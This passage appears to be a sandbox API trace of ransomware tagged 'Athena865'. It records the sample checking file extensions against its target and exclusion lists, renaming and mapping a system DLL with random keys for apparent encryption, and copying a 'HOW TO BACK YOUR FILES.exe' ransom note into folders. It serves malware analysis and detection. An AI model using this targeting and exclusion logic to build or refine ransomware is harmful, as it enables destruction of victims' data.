lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0096.656] lstrlenW (lpString="mwb") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0096.656] lstrlenW (lpString="myd") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0096.656] lstrlenW (lpString="ndf") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0096.656] lstrlenW (lpString="nnt") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0096.656] lstrlenW (lpString="nrmlib") returned 6 [0096.656] lstrcmpiW (lpString1="er.dll", lpString2="nrmlib") returned -1 [0096.656] lstrlenW (lpString="ns2") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0096.656] lstrlenW (lpString="ns3") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0096.656] lstrlenW (lpString="ns4") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0096.656] lstrlenW (lpString="nsf") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0096.656] lstrlenW (lpString="nv") returned 2 [0096.656] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0096.656] lstrlenW (lpString="nv2") returned 3 [0096.656] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0096.656] lstrlenW (lpString="nwdb") returned 4 [0096.657] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0096.657] lstrlenW (lpString="nyf") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0096.657] lstrlenW (lpString="odb") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0096.657] lstrlenW (lpString="odb") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0096.657] lstrlenW (lpString="oqy") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0096.657] lstrlenW (lpString="ora") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0096.657] lstrlenW (lpString="orx") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0096.657] lstrlenW (lpString="owc") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0096.657] lstrlenW (lpString="p96") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0096.657] lstrlenW (lpString="p97") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0096.657] lstrlenW (lpString="pan") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0096.657] lstrlenW (lpString="pdb") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0096.657] lstrlenW (lpString="pdm") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0096.657] lstrlenW (lpString="pnz") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0096.657] lstrlenW (lpString="qry") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0096.657] lstrlenW (lpString="qvd") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0096.657] lstrlenW (lpString="rbf") returned 3 [0096.657] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0096.658] lstrlenW (lpString="rctd") returned 4 [0096.658] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0096.658] lstrlenW (lpString="rod") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0096.658] lstrlenW (lpString="rodx") returned 4 [0096.658] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0096.658] lstrlenW (lpString="rpd") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0096.658] lstrlenW (lpString="rsd") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0096.658] lstrlenW (lpString="sas7bdat") returned 8 [0096.658] lstrcmpiW (lpString1="lter.dll", lpString2="sas7bdat") returned -1 [0096.658] lstrlenW (lpString="sbf") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0096.658] lstrlenW (lpString="scx") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0096.658] lstrlenW (lpString="sdb") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0096.658] lstrlenW (lpString="sdc") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0096.658] lstrlenW (lpString="sdf") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0096.658] lstrlenW (lpString="sis") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0096.658] lstrlenW (lpString="spq") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0096.658] lstrlenW (lpString="te") returned 2 [0096.658] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0096.658] lstrlenW (lpString="teacher") returned 7 [0096.658] lstrcmpiW (lpString1="ter.dll", lpString2="teacher") returned 1 [0096.658] lstrlenW (lpString="tmd") returned 3 [0096.658] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0096.659] lstrlenW (lpString="tps") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0096.659] lstrlenW (lpString="trc") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0096.659] lstrlenW (lpString="trc") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0096.659] lstrlenW (lpString="trm") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0096.659] lstrlenW (lpString="udb") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0096.659] lstrlenW (lpString="udl") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0096.659] lstrlenW (lpString="usr") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0096.659] lstrlenW (lpString="v12") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0096.659] lstrlenW (lpString="vis") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0096.659] lstrlenW (lpString="vpd") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0096.659] lstrlenW (lpString="vvv") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0096.659] lstrlenW (lpString="wdb") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0096.659] lstrlenW (lpString="wmdb") returned 4 [0096.659] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0096.659] lstrlenW (lpString="wrk") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0096.659] lstrlenW (lpString="xdb") returned 3 [0096.659] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0096.659] lstrlenW (lpString="xld") returned 3 [0096.661] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0096.661] lstrlenW (lpString="xmlff") returned 5 [0096.661] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0096.661] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll.Athena865") returned 73 [0096.661] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpadfilter.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpadfilter.dll.athena865"), dwFlags=0x1) returned 1 [0096.665] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll.Athena865" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\wordpadfilter.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0096.665] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=194560) returned 1 [0096.665] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.666] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.666] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.666] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fb00, lpName=0x0) returned 0x154 [0096.669] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fb00) returned 0x170000 [0096.682] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.682] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.682] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.683] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0096.685] CloseHandle (hObject=0x154) returned 1 [0096.685] CloseHandle (hObject=0x17c) returned 1 [0096.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.686] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0096.686] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.686] ReleaseMutex (hMutex=0xec) returned 1 [0096.686] CloseHandle (hObject=0xec) returned 1 [0096.686] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows NT\\TableTextService" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\TableTextService") returned="C:\\Program Files (x86)\\Windows NT\\TableTextService" [0096.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e660 | out: hHeap=0x4f0000) returned 1 [0096.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5309f8 | out: hHeap=0x4f0000) returned 1 [0096.686] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT\\TableTextService") returned 50 [0096.686] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E076B8FDDF87CAC47F153A3127AB47A9") returned 0xec [0096.686] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.686] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT\\TableTextService" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\TableTextService") returned="C:\\Program Files (x86)\\Windows NT\\TableTextService" [0096.686] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.686] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.687] GetLastError () returned 0x0 [0096.687] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.687] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.688] CloseHandle (hObject=0xf4) returned 1 [0096.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.688] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.688] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4079aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4079aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.688] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.688] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.688] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.688] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4079aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4079aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.688] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.688] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.688] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.688] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.688] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0096.688] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.688] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0096.689] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0096.689] lstrlenW (lpString="en-US") returned 5 [0096.689] lstrcpyW (in: lpString1=0x241e8ae, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0096.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5309f8 [0096.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501ea8 [0096.689] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0096.689] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0096.689] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0096.693] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4079aa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4079aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.693] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.693] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688296e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x688296e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xaf1e3ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="windows") returned -1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="bootmgr") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="temp") returned -1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="pagefile.sys") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="boot") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="ids.txt") returned 1 [0096.693] lstrcmpiW (lpString1="TableTextService.dll", lpString2="ntuser.dat") returned 1 [0096.694] lstrcmpiW (lpString1="TableTextService.dll", lpString2="perflogs") returned 1 [0096.694] lstrcmpiW (lpString1="TableTextService.dll", lpString2="MSBuild") returned 1 [0096.694] lstrlenW (lpString="TableTextService.dll") returned 20 [0096.694] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TableTextService.dll" | out: lpString1="TableTextService.dll") returned="TableTextService.dll" [0096.694] lstrlenW (lpString="TableTextService.dll") returned 20 [0096.694] lstrlenW (lpString="Athena865") returned 9 [0096.694] lstrcmpiW (lpString1="rvice.dll", lpString2="Athena865") returned 1 [0096.694] lstrlenW (lpString=".dll") returned 4 [0096.694] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".dll") returned 1 [0096.694] lstrlenW (lpString=".lnk") returned 4 [0096.694] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".lnk") returned 1 [0096.694] lstrlenW (lpString=".ini") returned 4 [0096.694] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".ini") returned 1 [0096.694] lstrlenW (lpString=".sys") returned 4 [0096.694] lstrcmpiW (lpString1="TableTextService.dll", lpString2=".sys") returned 1 [0096.694] lstrlenW (lpString="TableTextService.dll") returned 20 [0096.694] lstrlenW (lpString="bak") returned 3 [0096.694] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0096.694] lstrlenW (lpString="ba_") returned 3 [0096.694] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0096.694] lstrlenW (lpString="dbb") returned 3 [0096.694] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0096.694] lstrlenW (lpString="vmdk") returned 4 [0096.694] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0096.694] lstrlenW (lpString="rar") returned 3 [0096.694] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0096.694] lstrlenW (lpString="zip") returned 3 [0096.694] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0096.694] lstrlenW (lpString="tgz") returned 3 [0096.694] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0096.694] lstrlenW (lpString="vbox") returned 4 [0096.695] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0096.695] lstrlenW (lpString="vdi") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0096.695] lstrlenW (lpString="vhd") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0096.695] lstrlenW (lpString="vhdx") returned 4 [0096.695] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0096.695] lstrlenW (lpString="avhd") returned 4 [0096.695] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0096.695] lstrlenW (lpString="db") returned 2 [0096.695] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0096.695] lstrlenW (lpString="db2") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0096.695] lstrlenW (lpString="db3") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0096.695] lstrlenW (lpString="dbf") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0096.695] lstrlenW (lpString="mdf") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0096.695] lstrlenW (lpString="mdb") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0096.695] lstrlenW (lpString="sql") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0096.695] lstrlenW (lpString="sqlite") returned 6 [0096.695] lstrcmpiW (lpString1="ce.dll", lpString2="sqlite") returned -1 [0096.695] lstrlenW (lpString="sqlite3") returned 7 [0096.695] lstrcmpiW (lpString1="ice.dll", lpString2="sqlite3") returned -1 [0096.695] lstrlenW (lpString="sqlitedb") returned 8 [0096.695] lstrcmpiW (lpString1="vice.dll", lpString2="sqlitedb") returned 1 [0096.695] lstrlenW (lpString="xml") returned 3 [0096.695] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0096.696] lstrlenW (lpString="$er") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0096.696] lstrlenW (lpString="4dd") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0096.696] lstrlenW (lpString="4dl") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0096.696] lstrlenW (lpString="^^^") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0096.696] lstrlenW (lpString="abs") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0096.696] lstrlenW (lpString="abx") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0096.696] lstrlenW (lpString="accdb") returned 5 [0096.696] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0096.696] lstrlenW (lpString="accdc") returned 5 [0096.696] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0096.696] lstrlenW (lpString="accde") returned 5 [0096.696] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0096.696] lstrlenW (lpString="accdr") returned 5 [0096.696] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0096.696] lstrlenW (lpString="accdt") returned 5 [0096.696] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0096.696] lstrlenW (lpString="accdw") returned 5 [0096.696] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0096.696] lstrlenW (lpString="accft") returned 5 [0096.696] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0096.696] lstrlenW (lpString="adb") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0096.696] lstrlenW (lpString="adb") returned 3 [0096.696] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0096.696] lstrlenW (lpString="ade") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0096.697] lstrlenW (lpString="adf") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0096.697] lstrlenW (lpString="adn") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0096.697] lstrlenW (lpString="adp") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0096.697] lstrlenW (lpString="alf") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0096.697] lstrlenW (lpString="ask") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0096.697] lstrlenW (lpString="btr") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0096.697] lstrlenW (lpString="cat") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0096.697] lstrlenW (lpString="cdb") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0096.697] lstrlenW (lpString="ckp") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0096.697] lstrlenW (lpString="cma") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0096.697] lstrlenW (lpString="cpd") returned 3 [0096.697] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0096.697] lstrlenW (lpString="dacpac") returned 6 [0096.697] lstrcmpiW (lpString1="ce.dll", lpString2="dacpac") returned -1 [0096.697] lstrlenW 